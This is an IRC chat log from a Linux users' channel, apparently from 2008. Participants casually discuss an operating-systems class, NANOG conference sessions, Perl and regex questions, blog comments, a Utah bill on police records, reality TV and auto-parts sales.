| 00:02.26 | Supaplex | n00bs ;) |
| 00:05.14 | tensai | elg: I'm going to be making some mail server changes. shouldn't break anything, but just fyi. |
| 00:05.24 | beandog | http://spaceparanoids.org/img/o-hai-googlz-i-can-has-privacy.jpg |
| 00:05.28 | tensai | elg: IP address changes, to clarify |
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| 01:17.59 | sargun_screen | hey all |
| 01:19.10 | sargun_screen | <PROTECTED> |
| 01:19.59 | levi | Hi, sargun_screen |
| 01:20.53 | sargun_screen | what?s up levi |
| 01:22.01 | levi | Just hanging out in class, which is covering Semaphores right now. |
| 01:22.51 | sargun_screen | uh, is that lkike intermediate c? |
| 01:23.22 | levi | It's an operating systems class. |
| 01:23.31 | sargun_screen | hm.. |
| 01:23.32 | nick125 | sargun_screen: hey, sup? |
| 01:23.38 | sargun_screen | nbrb |
| 01:23.50 | levi | sargun_screen: Do you know what semaphores are? |
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| 01:26.21 | nick125 | Sargun: hiya |
| 01:27.05 | Sargun | hi! |
| 01:27.15 | Sargun | levi, I know what a semaphore is. |
| 01:27.17 | Sargun | nick125, sup |
| 01:27.20 | nick125 | Sargun: Do you know how much customs duties for about $600 would be? |
| 01:28.03 | Sargun | uh, why |
| 01:28.09 | nick125 | Sargun: just wondering |
| 01:28.23 | Sargun | levi, I am familiar with multithreaded programming. |
| 01:28.27 | Sargun | Even ask nick125. |
| 01:28.31 | Sargun | nick125, A lot. |
| 01:28.41 | levi | Sargun: They're traditionally introduced in OS Theory classes, though the rise of multithreaded program has caused them to be introduced much earlier. |
| 01:28.42 | nick125 | Sargun: How much is a lot? $50? $100? $5,000,000? |
| 01:29.10 | Sargun | nick125, Uh, X*$600 |
| 01:29.21 | levi | Sargun: This assignment is to implement them in our OS, though, not to use them. |
| 01:29.32 | Sargun | levi, Oh, neat. |
| 01:29.48 | Sargun | levi, So you are building a toy OS in that class? |
| 01:29.51 | nick125 | Sargun: Any ballpark figures? |
| 01:30.09 | Sargun | $85 |
| 01:30.13 | levi | Sargun: Well, we're building parts of a toy OS. It's called GeekOS; you can find info about it online. |
| 01:30.44 | Sargun | Oh, neat. |
| 01:30.54 | Sargun | So, you basically have to implement features in GeekOS? |
| 01:32.20 | levi | Yeah. By this weekend, I need to have context switching implemented. The following assignment is the semaphore stuff. |
| 01:32.54 | levi | My other class is writing a compiler for a toy object-oriented language. |
| 01:33.29 | Sargun | So, do you have to write a libc for this toy OS? |
| 01:34.39 | levi | I'm not sure what the later assignments will be. |
| 01:38.22 | levi | Tadaka: What OS class? |
| 01:38.40 | Tadaka | undergrad operating systems class at Cal Lutheran Univ. |
| 01:38.46 | Tadaka | it was a joke |
| 01:39.13 | Tadaka | they should have called it Intro to Linux with a side of OS theory |
| 01:39.39 | fozzmoo | Not bad! |
| 01:39.55 | levi | Well, the earlier OS class in my track was like that, except it was even worse because it was taught by a competely incompetent adjunct. |
| 01:40.17 | fozzmoo | When I was in college, the OS class was like "History of Operating Systems" |
| 01:40.17 | levi | Who had zero prep time before the class started, and had never taught a CS class before. |
| 01:40.33 | Tadaka | huh, I don't feel quite as ripped off then |
| 01:40.40 | fozzmoo | It was easy to get bored in my OS class. |
| 01:41.03 | fozzmoo | Lots of essay writing and studying ancient things. |
| 01:41.21 | Tadaka | yea I just screwed around. I'd already been a *nix admin for 6 years when I took it, so the practical side was super boring |
| 01:41.36 | levi | I think there's some value in studying ancient things, as long as you study the right ancient things in the right level of detail. |
| 01:42.14 | levi | Anyway, class is over, time to head home. |
| 01:42.23 | Tadaka | have a good night |
| 01:43.14 | Tadaka | If things go well, I'll be doing my master's at the Univ of Utah next year. I have a feeling I'm gonna get my butt kicked though. |
| 01:43.33 | Tadaka | I'd *hope* it would be a lot harder than what I did for undergrad |
| 01:45.07 | Sargun | fozzmoo, There was no history of operating systems when you were in college. |
| 01:49.38 | Sargun | fozzmoo, you made history |
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| 02:00.33 | Sargun | nick125, anyways |
| 02:00.33 | Sargun | sup |
| 02:00.34 | Sargun | ~dogs |
| 02:00.35 | ibot | [dogs] a kind of paint |
| 02:00.38 | Sargun | ~cats |
| 02:00.38 | ibot | i heard cats is http://www.simtec.co.uk/products/EB110ATX/ |
| 02:00.40 | Sargun | ~faces |
| 02:00.50 | nick125 | Sargun: not much...playing knetwalk for the heck of it |
| 02:00.52 | Sargun | ~ping |
| 02:00.52 | ibot | pong |
| 02:00.58 | Sargun | http://www.nanog.org/mtg-0802/attendee.list.epl |
| 02:01.01 | brac | [NANOG 42 Attendee List] |
| 02:02.00 | nick125 | nice |
| 02:02.24 | Sargun | nick125, Which ones should I go to |
| 02:03.14 | Sargun | I'm thinking out of You Can Teach Problem Solving and Should, BGP Troubleshooting Techniques, Part 1, and L2 Attacks & Mitigation Techniques |
| 02:03.20 | Sargun | I want to do L2 Attacks & Mitigation Techniques |
| 02:04.02 | Sargun | Out of Network Core Infrastructure, Best Practices, and ISP Security BoF I don't know which one. |
| 02:04.12 | Sargun | nick125, Which one do you think I should go to |
| 02:04.54 | nick125 | I'd probably go to the core one, but I'm not sure |
| 02:05.03 | nick125 | The best practices one would be useless to you. |
| 02:05.26 | nick125 | (which is not a good thing...but okay) |
| 02:05.35 | Sargun | good point |
| 02:05.37 | Sargun | I wouldn't follow them anyways. :-P |
| 02:05.42 | nick125 | exactly |
| 02:06.05 | Sargun | """ |
| 02:06.06 | Sargun | This session focuses on the basic requirements necessary to improve backbone security. It reviews features and techniques available to help improve security by hardening the core network. This session reviews security best practices, security recommendations, and router features to mitigate direct infrastructure attack. It covers the deployment of specific features and using them to improve backbone security. This session is designed for network engin |
| 02:06.06 | Sargun | eers and security professionals in service provider & enterprise environments.""" |
| 02:06.09 | Sargun | Seems not so fun |
| 02:06.13 | Sargun | or interesting |
| 02:06.23 | Sargun | Seems like an advertisement for Cisco devices |
| 02:06.27 | nick125 | haha |
| 02:08.53 | Sargun | Out of IX Operators BoF, Small Operator Lessons Learned, and A Load-Sharing Approach to Increase Capacity in IP/MPLS Networks I think I'll do Small Operator Lessons Learned |
| 02:09.17 | Tadaka | that makes my head ache looking at it |
| 02:09.30 | Sargun | Tadaka, How so? |
| 02:09.39 | Sargun | I hope I can do IPv6 hour |
| 02:09.40 | Sargun | that sounds fun |
| 02:09.44 | Sargun | and interesting |
| 02:09.56 | Tadaka | just not so excited by network stuff |
| 02:10.20 | Sargun | Tadaka, Weird. |
| 02:10.21 | Tadaka | which is makes it difficult for me to study for the ccna exam like I'm supposed to |
| 02:10.25 | Tadaka | ;) |
| 02:10.35 | Tadaka | why weird? |
| 02:11.34 | nick125 | Designing networks in real life is easier than knetwalk! :p |
| 02:12.20 | Sargun | Tadaka, CCNA sucks. |
| 02:13.24 | Tadaka | o_O |
| 02:13.26 | Tadaka | that sounds uncomfortable |
| 02:13.45 | Sargun | it probably is |
| 02:16.23 | herlo | -0+8 |
| 02:17.58 | Sargun | ~ping |
| 02:17.58 | ibot | pong |
| 02:18.02 | Sargun | Costs and Logistics |
| 02:18.03 | Sargun | Approximate food costs are: |
| 02:18.04 | Sargun | Morning or afternoon break |
| 02:18.06 | Sargun | (coffee, juice, fruit, cookies, muffins, cola, water)$4,000 |
| 02:18.08 | Sargun | Beer 'n Gear/Continental Breakfast$10,000 per vendor |
| 02:18.10 | Sargun | 5:45 PM - 7:45 PM Regency Ballroom, B Level Beer 'n Gear Sponsors: Alcatel-Lucent, Arbor Networks, Cariden, Cisco, Foundry Networks, Juniper Networks, Mu Security, Transmode, WANDL, Inc., XKL |
| 02:18.33 | Sargun | There is a typo of WANDL, Inc. |
| 02:18.33 | herlo | ~spam Sargun |
| 02:18.33 | ibot | ACTION subscribes Sargun to every possible mailing list he can find on the 'net AND arranges for Sargun to get at least 50 snail mail spams a day |
| 02:18.45 | Sargun | len("Alcatel-Lucent, Arbor Networks, Cariden, Cisco, Foundry Networks, Juniper Networks, Mu Security, Transmode, WANDL Inc., XKL".split(",")) |
| 02:18.50 | herlo | ~spam Sargun |
| 02:18.51 | ibot | ACTION subscribes Sargun to every possible mailing list he can find on the 'net AND arranges for Sargun to get at least 50 snail mail spams a day |
| 02:18.53 | Sargun | Is that $100,000 of beer and gear? |
| 02:18.58 | Sargun | I wonder if they'll ID |
| 02:19.00 | herlo | ~spam Sargun |
| 02:19.01 | ibot | ACTION subscribes Sargun to every possible mailing list he can find on the 'net AND arranges for Sargun to get at least 50 snail mail spams a day |
| 02:19.12 | Sargun | That's $200 of beer and gear per person |
| 02:19.30 | Sargun | hmm... |
| 02:19.41 | Sargun | What do you guys think? They'll ID? |
| 02:20.34 | Tadaka | so it's in the evening, involves beer and they call it a breakfast? |
| 02:20.45 | Tadaka | sounds like they did too much sampling of the beer |
| 02:21.04 | Sargun | I only know like 5-6 people |
| 02:21.21 | Sargun | Tadaka, No, the continental breakfast is on monday |
| 02:21.29 | Sargun | 9:00 AM - 10:00 AM Market Street Foyer Continental Breakfast |
| 02:21.35 | Sargun | hehe |
| 02:21.45 | Tadaka | lol |
| 02:22.03 | Tadaka | so what's the shindig about? and yes, they'd prolly id |
| 02:22.06 | Sargun | nick125, I only know like 5-6 people coming. You should come. |
| 02:22.12 | Sargun | Tadaka, Crap. |
| 02:22.24 | Sargun | Why? I mean, considering it'll be a bunch of old guys |
| 02:22.35 | nick125 | Sargun: heh... |
| 02:22.37 | Sargun | I can't shave. |
| 02:22.51 | Sargun | Crap. |
| 02:23.19 | Sargun | Patrick Nathan Sonic.net, Inc. <- I know him! He's an ***hat! |
| 02:23.22 | Sargun | nick125, Pickup your phone btw |
| 02:23.24 | nick125 | damnit, I should've gone to NANOG 41 :p That would've been a lot closer and easier. |
| 02:23.28 | nick125 | I don't know where my phone is |
| 02:23.29 | Sargun | I'm going to call you in a few minutes |
| 02:23.35 | Sargun | find it you dolt. |
| 02:23.38 | Sargun | :-P |
| 02:23.43 | nick125 | oh, it's not even on :p |
| 02:41.41 | JoshH | what computer stores exist in logan (preferably with a website)? |
| 02:47.58 | tripzero | ... |
| 02:48.51 | tripzero | at least not anything above a 386 |
| 02:49.59 | JoshH | meh, someone i know who lives there needs to buy a cheap switch, and is too dumb to shop online |
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| 03:01.04 | rsimpkins | JoshH: I found very few good computer stores in Logan. |
| 03:01.18 | rsimpkins | JoshH: There is, or was, a place called 'xtream computers' in providence. |
| 03:01.24 | rsimpkins | Not sure if it is still there. |
| 03:01.52 | rsimpkins | Apart from that - the best luck I had for parts was wal-mart and office max. |
| 03:02.00 | JoshH | is providence near logan? |
| 03:02.08 | JoshH | ah, i guess i should have figured they would have a walmart |
| 03:02.08 | rsimpkins | Yeah, basically the same town. |
| 03:02.12 | rsimpkins | But a local will know. |
| 03:02.23 | rsimpkins | It was by the movie theater in providence. |
| 03:02.34 | JoshH | just whatever the cheapest netgear/linksys that walmart carries would be fine |
| 03:02.36 | JoshH | thanks |
| 03:02.42 | rsimpkins | It is actually really growing. |
| 03:02.52 | rsimpkins | I think by now they might have two super walmarts. |
| 03:03.06 | rsimpkins | Or, a second one very close to completion. |
| 03:03.51 | rsimpkins | They were actually just getting some good stores when I left. :) Like cafe rio and koles, etc. |
| 03:04.33 | JoshH | mmm, cafe rio |
| 03:05.33 | rsimpkins | The culture is so funny there. When it opened very few people I knew had even heard of cafe rio. |
| 03:05.47 | rsimpkins | It caught on quick though. |
| 03:09.29 | rsimpkins | Wow, it looks like Obama can pull this thing off. |
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| 03:31.15 | bonez44 | is there a FOSS analogue for WinRAR? My son has a few games that are compressed in .rar archives... |
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| 03:44.44 | elg | unrar |
| 03:44.54 | levi | Too bad he logged off. |
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| 04:02.30 | nick125 | Sargun: hey |
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| 05:33.17 | levi | Hmm, Phil Windley finally approved my comment, but didn't bother responding to it. |
| 05:34.25 | levi | Oh well. He can go on living in his Enterprise/startup-centric world where development speed is the only thing that matters and dynamic typing is always superior to static typing. |
| 05:36.21 | levi | Maybe he didn't like my over-the-top excessively wordy aping of Yegge's style. |
| 05:39.53 | fozzmoo | JoshH: Posh Electronics |
| 05:40.05 | fozzmoo | JoshH: Dunno if you're still looking. |
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| 06:17.04 | Sargun | flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe nx constant_tsc arch_perfmon bts pni monitor vmx est tm2 xtpr |
| 06:27.10 | fozzmoo | Sargun: Some patriot you are. |
| 06:28.15 | lakshmi | the strike is over!!!! |
| 06:28.21 | Sargun | uhhh |
| 06:28.24 | Sargun | ok |
| 06:28.37 | fozzmoo | lakshmi: Still no heroes til Fall. |
| 06:28.51 | lakshmi | fozzmoo well thats cause heroe's is a bad show :) |
| 06:29.06 | fozzmoo | lakshmi: huh? |
| 06:29.23 | lakshmi | hero's that show is uber boring and not cool |
| 06:40.46 | levi | Probably no Chuck until fall, either. |
| 06:41.33 | lakshmi | more scrubs! |
| 06:41.48 | fozzmoo | Yeah. I hate that Hero's show. |
| 06:42.09 | fozzmoo | They should make it a reality show instead, don't you think? |
| 06:42.59 | lakshmi | big brother is back |
| 06:43.26 | fozzmoo | Oh wow! |
| 06:44.33 | Sargun | big brother? |
| 06:45.11 | fozzmoo | Oh Sargun, you've not seen BB?! |
| 06:45.58 | Sargun | BigBrother - The piece of junk that one of the sysadmins use for monitoring at work? |
| 06:46.00 | Sargun | I've seen that |
| 06:46.02 | Sargun | I hate it |
| 06:46.15 | Sargun | I wish it would have its developer's face smashed against a wall |
| 06:46.59 | fozzmoo | No, Sargun. I'm talking about simply the best programming on television. |
| 06:47.20 | fozzmoo | I mean, these people have to live in this house together! |
| 06:47.56 | fozzmoo | And then every week, someone gets voted out of the house. |
| 06:48.22 | Sargun | uhhhhh |
| 06:48.25 | fozzmoo | There's nothing else like it, man! |
| 06:50.19 | fozzmoo | I mean, when BB isn't on, what am I gonna do? Watch Antiques Roadshow? Heck, no! |
| 06:50.41 | levi | Man, don't be hatin' on Antiques Roadshow! That's quality TV! |
| 06:50.41 | fozzmoo | I've got all the episodes of BB on my DVR. I can watch them over and over until the next seasons starts! |
| 06:51.10 | levi | <- PBS junkie |
| 06:51.48 | fozzmoo | There is no other kind of television that gives you a look into the way real people really are when they're really forced to live with other real people while being really videotaped. |
| 06:51.53 | lakshmi | or survivor |
| 06:52.06 | fozzmoo | lakshmi: You blasphemous whore! |
| 06:52.07 | lakshmi | or if your special antm is starting!! |
| 06:52.21 | fozzmoo | lakshmi: HOW DARE YOU INSULT BIG BROTHER LIKE THAT! |
| 06:52.34 | levi | fozzmoo: You forgot to mention the heavy editing to create drama where none exists. |
| 06:52.43 | fozzmoo | levi: No. No editing. |
| 06:53.02 | fozzmoo | If they edited it, it would suck because... it wouldn't be real. |
| 06:53.17 | fozzmoo | It would be like... all manufactured or something. |
| 06:53.34 | levi | Wow, that would totally destroy the whole premise! |
| 06:53.58 | fozzmoo | levi: They don't call it "realty television" and then edit it. |
| 06:54.44 | fozzmoo | How could they do that and do a live show every week? |
| 06:55.18 | levi | My wife watches The Bachelor. On the occasions that I watched it with her, it drove me nuts how they'd spend half the airtime talking up and showing clips from the huge dramatic event that was going to happen later. |
| 06:55.49 | levi | Then the event would happen, and it'd be totally anticlimactic. |
| 06:55.59 | fozzmoo | lakshmi: Did you like Danielle? |
| 06:56.36 | fozzmoo | Or did you want Jameka to win? |
| 06:56.55 | levi | There's also a trend that's appeared on all the new game shows where there will be a huge, long dramatic pause while everyone waits to see if the question was answered correctly. And the contestants are also encouraged to blather on about their thought processes. |
| 06:57.19 | fozzmoo | levi: I think it's so cool how they can capture people's thoughts like that. |
| 06:57.26 | fozzmoo | Technology is so amazing. |
| 06:57.47 | levi | Screw that. Give me Jeopardy, where you just get the contestants' responses as quickly as possible. |
| 06:58.28 | fozzmoo | It's like... they're sitting in a HoH and everyone's worried about how it's going to happen, and amazingly, they cut to someone explaining what they were thinking... |
| 06:58.45 | fozzmoo | I can't even imagine the kind of computers they must be using to get into those people's minds like that! |
| 06:59.03 | fozzmoo | I hope I can do stuff like that someday. |
| 07:00.19 | fozzmoo | Okay. |
| 07:00.28 | fozzmoo | I'm done pretending I like Big Brother. |
| 07:00.31 | fozzmoo | Was that convincing? |
| 07:00.35 | levi | Thank you. |
| 07:01.13 | levi | So, I need to get my wife a book on Photoshop Elements. Anyone have any suggestions? |
| 07:01.38 | fozzmoo | I like Biggest Loser and SYTYCD because the "contestants" really... either go through life-altering changes for good or have real talent to begin with. |
| 07:02.02 | Tene | levi: the man pages? |
| 07:02.07 | fozzmoo | But I think my favorite reality show ever... was The Joe Schmoe Show. |
| 07:03.00 | levi | Tene: Even if they existed, they would not be at the appropriate level for my wife to learn it with. |
| 07:03.41 | fozzmoo | New video on YouTube. |
| 07:04.02 | fozzmoo | http://www.youtube.com/watch?v=QXp6K0Qqv6k |
| 07:04.08 | fozzmoo | Has nothing to do with open source at all. |
| 07:04.20 | fozzmoo | Except that when the footage was shot, I was in NYC for LinuxWorld. |
| 07:04.20 | levi | What does it have to do with? |
| 07:04.43 | fozzmoo | It's a short collection of WTC video. |
| 07:05.04 | levi | Why would I want to watch that? |
| 07:06.09 | fozzmoo | I dunno. |
| 07:12.20 | Tene | levi: Because WoRlD TrAdE CeNtEr OMG!!! |
| 07:12.35 | Tene | Didn't you know that TERRORISTS attacked it on AMERICAN SOIL? |
| 07:13.03 | Sargun | o.O |
| 07:13.10 | levi | Why yes, I was aware of that. |
| 07:13.45 | levi | Unless it was really an INSIDE JOB!! |
| 07:15.49 | fozzmoo | Well, the fires from the jet fuel were INSIDE the buildings. |
| 07:22.06 | Supaplex | the steel used in the WTC construction meet or exceeded ASTM E119, which doesn't melt at temps jet fuel + office furnishings reach |
| 07:23.05 | fozzmoo | Fire doesn't melt steel! |
| 07:24.19 | Supaplex | http://www.rense.com/general59/ul.htm suggests the fire was ~ 500F, which is about 1/6th the plausable limit of where it looses its strength |
| 07:24.22 | brac | [UL Says NO WAY WTC Steel Could Melt At 2000 F UL Executive Speaks Out On WTC Study] |
| 07:24.42 | fozzmoo | Rosie O'Donnell: "I do believe it's the first time in history that fire has melted steel " |
| 07:25.24 | levi | Except for, you know, those fires that melt steel in the refineries. |
| 07:25.46 | Supaplex | and they're not using jetfuel for that |
| 07:25.56 | fozzmoo | <PROTECTED> |
| 07:27.16 | fozzmoo | http://www.popularmechanics.com/technology/military_law/1227842.html?page=4 |
| 07:27.22 | fozzmoo | So *there* |
| 07:28.24 | fozzmoo | <PROTECTED> |
| 07:31.00 | Supaplex | NIST reports that pockets of fire hit 1832°F. |
| 07:33.04 | fozzmoo | And NIST works for the govt. Coincidence?! |
| 07:33.12 | fozzmoo | ;-) |
| 07:35.48 | levi | Anyway, time to sleep. |
| 07:37.25 | fozzmoo | g'night levi |
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| 14:56.37 | findlay | man, who put that in unicode? |
| 14:56.53 | findlay | I thought the point was that it only included useful characters |
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| 15:09.04 | elg | blog comments as a whole are so worthless, except as a way to feedback to the author |
| 15:09.43 | elg | people reading by rss (the people you're most likely to want to reach) aren't going to see them. people you might want to discuss with may see it and reply, and you won't see it |
| 15:10.16 | elg | basically the only people who will see the comments are the author (hopefully he has notification set up) and people who come across it in google 5 months later |
| 15:10.32 | elg | response posts in your own blog - much better |
| 15:14.41 | tensai | elg: I read your maple syrup comment |
| 15:17.58 | elg | see, you're the author |
| 15:18.04 | elg | it was for you, so that's cool |
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| 15:21.36 | atoponce | i've debated turning off blog comments entirely actually |
| 15:21.43 | atoponce | for the same reasons |
| 15:22.06 | elg | i wouldn't go that far. sometimes a correction by someone is best placed inline |
| 15:22.17 | elg | and i'm too lazy to update my posts :) |
| 15:22.30 | atoponce | i find that comments are mostly as pointless as the comments on youtube |
| 15:23.21 | elg | any time the masses stumble over themselves, that's what happens |
| 15:23.31 | elg | my blog isn't monitored by masses so I guess I don't have that problem |
| 15:24.48 | elg | i will say that more than once I've wanted to leave a comment for the author - either something I wanted to share or a correction - and they didn't have comments enabled. If it was a friend, i would have emailed or found them on irc, but since they weren't I couldn't be bothered and they missed out (for what that's worth) |
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| 15:30.40 | atoponce | i like the feedback, and the ability to communicate with the author, however, after they leave an initial comment, and i reply, rarely do they check back on the comments |
| 15:31.01 | atoponce | however, nothing irks me more than blogs that disable comments, which is the only reason i've stayed my hand |
| 15:31.28 | atoponce | or, blogs that make you register to comment. that has to be worse |
| 15:31.41 | atoponce | then there's blogs that syndicate rss summaries.... ugh |
| 15:31.43 | elg | yeah, that's worse |
| 15:31.50 | elg | both |
| 15:32.06 | elg | or blogs that include ads in their rss |
| 15:32.20 | elg | -lart tensai |
| 15:32.24 | atoponce | agreed |
| 15:33.01 | tensai | I have a comments feed which I follow. can't see it being useful to anybody else. |
| 15:33.33 | elg | your stalker maybe |
| 15:33.47 | elg | i do the same, though i also get jabber notifications |
| 15:35.20 | atoponce | jabber notifications... that's not half bad |
| 15:35.53 | atoponce | i've been toying with the idea of writing a perl script for irssi that will sms my phone when it highlights my name |
| 15:36.24 | atoponce | if one doesn't already exist, that is |
| 15:37.51 | tensai | atoponce: goozbach wrote some kind of paging script |
| 15:38.05 | atoponce | http://www.linuxvar.it/index.php/Utente:Buccia/Irssi_Scripts/smshilights.pl |
| 15:38.36 | elg | well there's a spam filter too. only stuff that makes it past the filter gets jabbered |
| 15:38.45 | goozbach | ~say invoke goozbach |
| 15:38.46 | ibot | invoke goozbach |
| 15:38.50 | goozbach | hmm |
| 15:39.39 | goozbach | ~say invoke goozbach |
| 15:39.40 | ibot | invoke goozbach |
| 15:39.46 | goozbach | buhahah |
| 15:39.53 | goozbach | atoponce: that's done with a simple perl script |
| 15:40.09 | goozbach | users.netradius.com/~goozbach has a link to it |
| 15:44.01 | atoponce | goozbach: that sends an sms? |
| 15:44.52 | atoponce | ahh. sends an email |
| 15:52.00 | elg | is there something for linux equivalent to growl? |
| 15:53.12 | jsmith | elg: libnotify? |
| 15:53.23 | elg | what does that do? |
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| 15:57.27 | jsmith | Allow programs to have a little pop up a notification in the corner... like growl does |
| 15:58.23 | elg | cool. does it support sticking I wonder? |
| 15:58.31 | jsmith | no clue |
| 15:58.44 | elg | ie stick around until the user clicks (as an option) |
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| 15:59.30 | elg | rem 9:00 showe |
| 15:59.32 | elg | shower even |
| 16:00.17 | elg | translates to echo growlnotify -s -m shower ... | at 9:00 |
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| 16:53.38 | tensai | ~onjoin -elg |
| 16:53.38 | ibot | tensai: ok |
| 17:02.39 | tristanbob_ | wow - sun just bought innotek, makers of virtualbox |
| 17:04.20 | jsmith | tristanbob_: You too can work for Sun! Just wait until MS, Sun, and Google own the whole world (and the sun too!) |
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| 17:21.54 | herlo | rsimpkins: ping |
| 17:31.31 | dataw0lf | >_< http://le.utah.gov/~2008/bills/sbillint/sb0260.htm |
| 17:31.37 | brac | [Utah Legislature SB0260] |
| 17:33.02 | goozbach | I'm not familiar with the >_< redirector |
| 17:33.06 | goozbach | what does it do? |
| 17:33.18 | goozbach | $ cat foo.txt >_< | less |
| 17:34.09 | dataw0lf | it's the ridicule redirector |
| 17:34.16 | goozbach | ahh |
| 17:34.21 | dataw0lf | input is passed through varying degrees of ridicule |
| 17:34.30 | goozbach | ahh |
| 17:34.31 | dataw0lf | comes out on the other side in the ASHAMED format |
| 17:34.43 | unum | so I have an excel file that I want to parse with perl. I'm planing on using the xls2csv program found in the catdoc package it outputs to stdout so I'm thing the best thing to do is run the command from with in perl and capture the stout into an array |
| 17:34.58 | unum | is there a better way to do this |
| 17:36.16 | goozbach | unum: I'm sure there are perl libraries to xls |
| 17:36.44 | unum | goozbach: are they easily installed on rhel 4? |
| 17:36.58 | unum | I guess I should be able to use cpan to install them |
| 17:37.21 | goozbach | cpan is your friend |
| 17:37.41 | goozbach | rpmforge has a bunch of pre-packaged perl modules |
| 17:37.47 | goozbach | I don't know if it would be there. |
| 17:38.12 | goozbach | http://search.cpan.org/search?query=excel&mode=all |
| 17:38.14 | fozzmoo | http://search.cpan.org/author/SZABGAB/Spreadsheet-ParseExcel-0.32/lib/Spreadsheet/ParseExcel.pm |
| 17:38.41 | fozzmoo | If that's not available via standard repositories, cpan2rpm is your friend. |
| 17:39.05 | tensai | dataw0lf: what about do you like or dislike about SB0260? |
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| 17:39.43 | fozzmoo | This bill: |
| 17:39.43 | fozzmoo | <PROTECTED> |
| 17:39.46 | fozzmoo | <PROTECTED> |
| 17:39.49 | fozzmoo | 16 . permits a governmental entity to classify a record of formal charges or disciplinary |
| 17:39.53 | fozzmoo | <PROTECTED> |
| 17:39.56 | fozzmoo | 18 in writing, to make the record public; and |
| 17:39.59 | fozzmoo | 19 . makes technical changes. |
| 17:40.16 | fozzmoo | So, basically, makes it difficult to find out why a disciplined cop has been disciplined? |
| 17:40.22 | dataw0lf | yup |
| 17:40.33 | dataw0lf | right on the heels of that ridiculous tasing incident |
| 17:40.52 | tensai | previously the law read "charges under Subsection (1) may not be made public without the consent of the officer charged" |
| 17:40.58 | tensai | so I don't see any major difference |
| 17:41.11 | goozbach | don't taze me bro! |
| 17:41.36 | fozzmoo | So, in the interest of full disclosure... |
| 17:41.41 | fozzmoo | not so much. |
| 17:45.03 | elg | ~lart launchd |
| 17:45.03 | ibot | slaps launchd upside the head with a wet fish |
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| 17:48.42 | acrid | you missed the first part of the edit "In the absence of an appeal, a copy of the" ... basically your ability to find out why an officer is removed |
| 17:48.56 | acrid | er...why an officer is being disciplined |
| 17:49.12 | acrid | you can't appeal anymore for the records |
| 17:49.29 | acrid | they're "private" |
| 18:02.32 | unum | fozzmoo: thanks that looks like it is goin to work much better |
| 18:03.06 | fozzmoo | unum: np |
| 18:06.32 | findlay | hello |
| 18:07.44 | findlay | fozzmoo: foia |
| 18:07.51 | fozzmoo | foia? |
| 18:09.27 | findlay | fozzmoo: freedom of information act |
| 18:09.40 | fozzmoo | findlay: Right. |
| 18:11.53 | acrid | that only applies to federal agencies, though |
| 18:12.13 | rsimpkins | ~pong herlo |
| 18:12.13 | ibot | herlo: PONG!!!!!!!!!!!!!!!!!! |
| 18:13.24 | fozzmoo | I went to Checker Auto yesterday to get some oil and stuff. They had these little moto-bikes there and a guy saw me looking at them and brought me a flyer for the big sale this weekend. |
| 18:13.35 | fozzmoo | Big Presidents Day clearance blowout, etc. |
| 18:13.44 | fozzmoo | Pretty cool stuff in this flyer. |
| 18:14.12 | fozzmoo | For example, if you need an air compressor, they've got a 1.5 gallon pancake compressor on sale for $39 and then there's a $20 online mail-in rebate on top of that. |
| 18:14.44 | fozzmoo | Perhaps of most interest to the #utah crowd is a scrolling LED message board for your rear window. $24.99 |
| 18:14.45 | tensai | why would I have a 1.5 gallon pancake, and if I did why would I need to compress it? |
| 18:14.47 | findlay | but I got my tie rod somewhere else for 1/4 the price |
| 18:14.52 | fozzmoo | Comes with infrared remote. |
| 18:15.04 | fozzmoo | plugs into your 12V socket. |
| 18:15.55 | fozzmoo | GReat for displaying messages to other drivers like, "You are NOT a princess!" |
| 18:16.05 | findlay | heh |
| 18:16.23 | fozzmoo | or "Feeling a little inadeqate, are we?" |
| 18:17.20 | unum | shouldn't /^\d{4}/ match anything that start with four digits and nothing else |
| 18:17.20 | fozzmoo | The picture in the flyer has a very boring "HELLO ALL" message displayed. |
| 18:17.39 | fozzmoo | unum: Yes. |
| 18:17.55 | findlay | unum: it will only match teh starting 4 digits, though |
| 18:18.05 | fozzmoo | at least 4 digits. |
| 18:18.39 | findlay | not exactly 4 digits? |
| 18:18.52 | fozzmoo | not exactly. :) |
| 18:18.57 | unum | well if I'm doing something like if($string=~/^\d{4}) shouldn't it match everystring that starts with 4 digits |
| 18:19.29 | fozzmoo | yeah- it'll match anything that starts with 4 (or more) digits. |
| 18:19.59 | unum | hmmm..... |
| 18:20.50 | unum | figured it out |
| 18:23.28 | RyanE | fozzmoo: that scrolling LED sign sounds like a good way to get yourself a case of road rage. |
| 18:24.01 | fozzmoo | RyanE: Yep. My wife howled when I showed her the flyer |
| 18:24.16 | fozzmoo | Asked me if it was easy to remove for when she was in the car with me. :) |
| 18:24.39 | RyanE | yeah, but it'd work quite well outside my cube here at work... GO AWAY!!!!....... |
| 18:25.00 | RyanE | Or as a CallerID sign somewhere in the house... |
| 18:25.03 | findlay | heh |
| 18:26.57 | fozzmoo | Oh, hey, if you're a Pennzoil fan: $2.99/qt w/ a $2/qt mail-in rebate. |
| 18:27.52 | RyanE | fozzmoo: what day does it start? |
| 18:28.09 | fozzmoo | Friday - Mon |
| 18:28.15 | findlay | and how much are you getting pad to advertise for them? |
| 18:28.17 | findlay | :) |
| 18:28.25 | RyanE | not enough, that's for sure. |
| 18:28.31 | findlay | s/ad/aid/ |
| 18:28.44 | RyanE | but for those of us who still change their own oil, it's good to know. |
| 18:29.14 | findlay | the 5 quart jug |
| 18:29.22 | fozzmoo | yeah. I just spent like $4-something/qt for the Castrol Syntec blend for our van |
| 18:30.14 | tensai | I just don't like the taste of pennzoil |
| 18:30.18 | RyanE | My '90 Nissan Pickup would probably run fine if I put olive oil in it. I swear, you can't kill those Nissan engines. |
| 18:30.56 | fozzmoo | Jap engines are like that. Change the oil regularly, they just keep running. |
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| 18:31.24 | fozzmoo | Okay. Change the subject. Something other than Ron Paul. |
| 18:31.33 | fozzmoo | How about... engines? |
| 18:31.35 | vontrapp | fozzmoo: i hear you have the jabber on/off continuously problem sometimes |
| 18:31.52 | fozzmoo | vontrapp: Huh? |
| 18:32.03 | vontrapp | fozzmoo: was that purely for my benefit? or were you really talking politics in here? :) |
| 18:32.20 | fozzmoo | Uhm... I don't know what you're talking about. :) |
| 18:32.49 | fozzmoo | vontrapp: Yeah, when it's like 12:30 am and I'm riding a caffeine high or something... I can just jabber continuously. |
| 18:32.54 | RyanE | we all know that Pancake Compressor message was a coded political statement... |
| 18:33.13 | fozzmoo | RyanE: Probably more appropriate for the New Hampshire primary |
